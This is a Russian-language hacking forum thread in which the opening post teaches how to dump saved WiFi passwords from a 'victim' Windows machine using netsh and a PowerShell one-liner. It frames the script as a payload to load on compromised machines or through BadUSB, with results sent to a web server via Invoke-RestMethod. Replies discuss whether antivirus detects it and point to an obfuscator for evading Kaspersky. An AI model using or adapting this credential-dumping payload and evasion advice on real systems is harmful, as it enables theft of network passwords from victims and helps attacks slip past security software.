HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.09.2017, 02:42
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию



Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"

Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)

И так. Вот что мы освоим в этой статье:
  • Научимся смотретьинформацию о WiFi подключениях средствами командной строки Windows
  • Извлекать сохраненные пароли в командной строке Windows
  • Немного освоим регулярные выражения в PowerShell
  • С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
  • Закрепим подгрузку PowerShell через WEB
  • Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.
И так друзья мои, зачем нам это все? Попытаюсь ответить:
  • Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
  • Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
  • Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
  • Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa )
  • Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh



Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi



Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.



Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:
(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.



Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()



Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}



Теперь по этому же принципу нужно отобразить пароль от каждой SSID :

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :

Но опять же таки тут много лишнего текста:



Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$"



И конечная команда наша будет иметь примерно следующий вид:

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize



Ну а далее все по накатанной схеме:
Размещаем к примеру:



Подгружаем на скомпрометированной машине:



И ловим пароли от WiFi:




Всем спасибо за внимание)
Видео немножко поже сделаю.
 
Ответить с цитированием

  #2  
Старый 05.09.2017, 19:41
jsat
Новичок
Регистрация: 30.06.2017
Сообщений: 0
С нами: 4668804

Репутация: 0
По умолчанию

С нетерпением ждемс видео...
 
Ответить с цитированием

  #3  
Старый 05.09.2017, 23:47
DSCH
Новичок
Регистрация: 07.12.2016
Сообщений: 0
С нами: 4963769

Репутация: 0
По умолчанию

DarkNODE, сними видео как настоирть такой консольку + на кали как постовить арчи стайл. одельнго буду благадорень.
 
Ответить с цитированием

  #4  
Старый 06.09.2017, 10:06
OBLIVIONNN
Новичок
Регистрация: 22.08.2017
Сообщений: 0
С нами: 4592342

Репутация: 0
По умолчанию

А есть такой способ только для Android? Только без Android Terminala.
 
Ответить с цитированием

  #5  
Старый 06.09.2017, 11:39
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию

На сколько помню то для просмотра сохраненных паролей на андроиде нужен Рут доступ.
[doublepost=1504683561,1504683107][/doublepost]Обзаведусь микрофоном где то через месяц, на настройку ушло пару часов, нужно будет писать видео с голосом.
Вообщем сделаю.
 
Ответить с цитированием

  #6  
Старый 06.09.2017, 17:48
Air7771
Новичок
Регистрация: 21.02.2017
Сообщений: 0
С нами: 4854358

Репутация: 0
По умолчанию

Цитата:

disconnekt сказал(а):

Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?

посмотреть ключ из под обычного пользователя? Пробовал не получилось...
 
Ответить с цитированием

  #7  
Старый 07.09.2017, 22:18
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию

Цитата:

disconnekt сказал(а):

Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?

Цитата:

Air7771 сказал(а):

посмотреть ключ из под обычного пользователя? Пробовал не получилось...



[doublepost=1504808328,1504804683][/doublepost]

Цитата:

Дедок сказал(а):

Надеюсь такая консолька не отправляет пакетики трафика туда кем именуется )? уж очень дизаин не юзерфрендли для параноика )

Это обычный легковесный тайловый оконный менеджер i3 и немного настроенный конфиг.

 
Ответить с цитированием

  #8  
Старый 08.09.2017, 00:39
fysh
Новичок
Регистрация: 03.07.2017
Сообщений: 0
С нами: 4664236

Репутация: 0
По умолчанию

Полезный цикл статей, для себя нашел много интересного...давай еще $i++
 
Ответить с цитированием

  #9  
Старый 08.09.2017, 11:25
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию

Цитата:

Leon сказал(а):

Отличная статья, а антивири не ругаются?

Это не бинарный файл, это обычная команда для PowerShell. Не ругался и не должно в ближайшое время.
 
Ответить с цитированием

  #10  
Старый 08.09.2017, 13:12
<~DarkNode~>
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами: 5033900

Репутация: 0
По умолчанию

Цитата:

Leon сказал(а):

N

Есть рабочий способ обхода Каспера в PowerShell-Empire?

Последний раз помогал в этом деле обфускатор.
https://codeby.net/threads/powershe...oleznoj-nagruzki-powershell-obfuscator.59453/
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.